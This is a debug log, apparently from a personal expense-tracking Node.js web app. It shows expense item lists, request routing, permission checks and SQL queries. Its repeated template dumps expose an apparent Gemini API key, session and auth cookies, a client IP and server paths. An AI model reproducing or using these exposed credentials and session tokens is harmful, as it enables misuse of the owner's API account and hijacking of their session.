  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-13T10:33:48.789Z server-connect:router Serving templateView /
2025-12-13T10:33:48.796Z server-connect:app Executing action step identify
2025-12-13T10:33:48.796Z server-connect:app options: { provider: 'security' }
2025-12-13T10:33:48.797Z server-connect:output identity: 1
2025-12-13T10:33:48.797Z server-connect:app Executing action step restrict
2025-12-13T10:33:48.797Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T10:33:48.801Z server-connect:output restrict: undefined
2025-12-13T10:33:48.801Z server-connect:app Executing action step restrict
2025-12-13T10:33:48.801Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T10:33:48.803Z server-connect:output restrict: undefined
2025-12-13T10:33:48.803Z server-connect:router Render template layouts/main
2025-12-13T10:33:48.804Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    accept: '*/*',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'empty',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fd6d-dk4f1fHWsTzJ3kz6UQS8GuV3HG0"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T06:28:58.121Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: '*/*',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fd6d-dk4f1fHWsTzJ3kz6UQS8GuV3HG0"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-13T10:49:36.381Z server-connect:router Serving templateView /collections
2025-12-13T10:49:36.381Z server-connect:app Executing action step identify
2025-12-13T10:49:36.382Z server-connect:app options: { provider: 'security' }
2025-12-13T10:49:36.382Z server-connect:output identity: 1
2025-12-13T10:49:36.382Z server-connect:app Executing action step restrict
2025-12-13T10:49:36.382Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T10:49:36.383Z server-connect:output restrict: undefined
2025-12-13T10:49:36.383Z server-connect:router Render template masters/collections
2025-12-13T10:49:36.384Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/collections',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T06:28:58.121Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/collections',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/collections',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/collections',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-13T10:49:36.605Z server-connect:router Serving serverConnect /api/masters/collections/collection-category
2025-12-13T10:49:36.606Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2025-12-13T10:49:36.606Z server-connect:app Executing action step identify
2025-12-13T10:49:36.607Z server-connect:app options: { provider: 'security' }
2025-12-13T10:49:36.607Z server-connect:output identity: 1
2025-12-13T10:49:36.607Z server-connect:app Executing action step restrict
2025-12-13T10:49:36.607Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T10:49:36.607Z server-connect:app Executing action step identify
2025-12-13T10:49:36.607Z server-connect:app options: { provider: 'security' }
2025-12-13T10:49:36.608Z server-connect:output identity: 1
2025-12-13T10:49:36.608Z server-connect:app Executing action step restrict
2025-12-13T10:49:36.608Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T10:49:36.609Z server-connect:output restrict: undefined
2025-12-13T10:49:36.609Z server-connect:app Executing action step select
2025-12-13T10:49:36.609Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'collection_type' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `name` from `collection_type` where `collection_type`.`deleted` = ?'
  }
}
2025-12-13T10:49:36.610Z server-connect:output restrict: undefined
2025-12-13T10:49:36.610Z server-connect:app Executing action step paged
2025-12-13T10:49:36.610Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2025-12-13T10:49:36.613Z server-connect:output list: [
  { id: 1, name: 'Unit' },
  { id: 2, name: 'Transaction Type' },
  { id: 3, name: 'Account Type' },
  { id: 4, name: 'Loan Mode' },
  { id: 5, name: 'Account Transactions' },
  { id: 6, name: 'Trading Platform' },
  { id: 7, name: 'Loan Type' },
  { id: 8, name: 'Supplement Brand' },
  { id: 9, name: 'Diecast Brand' },
  { id: 10, name: 'Diecast Series' },
  { id: 11, name: 'Vehicle Brand' }
]
2025-12-13T10:49:36.617Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 172,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      name: 'Account Deposit',
      id: 19,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Salary Credit',
      id: 20,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'ATM Withdrawal',
      id: 21,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Account Transfer',
      id: 22,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Credit Card Payment',
      id: 25,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Card Swipe',
      id: 26,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Direct Payment',
      id: 38,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Auto Debit',
      id: 39,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Savings',
      id: 14,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Current',
      id: 15,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Petty Cash',
      id: 18,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Credit Card',
      id: 24,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Demat',
      id: 43,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Red Line Club',
      id: 80,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2025-12-13T10:49:39.924Z server-connect:router Serving templateView /expense/list
2025-12-13T10:49:39.924Z server-connect:app Executing action step identify
2025-12-13T10:49:39.924Z server-connect:app options: { provider: 'security' }
2025-12-13T10:49:39.924Z server-connect:output identity: 1
2025-12-13T10:49:39.924Z server-connect:app Executing action step restrict
2025-12-13T10:49:39.924Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T10:49:39.925Z server-connect:output restrict: undefined
2025-12-13T10:49:39.925Z server-connect:router Render template expense/list
2025-12-13T10:49:39.925Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/expense/list',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
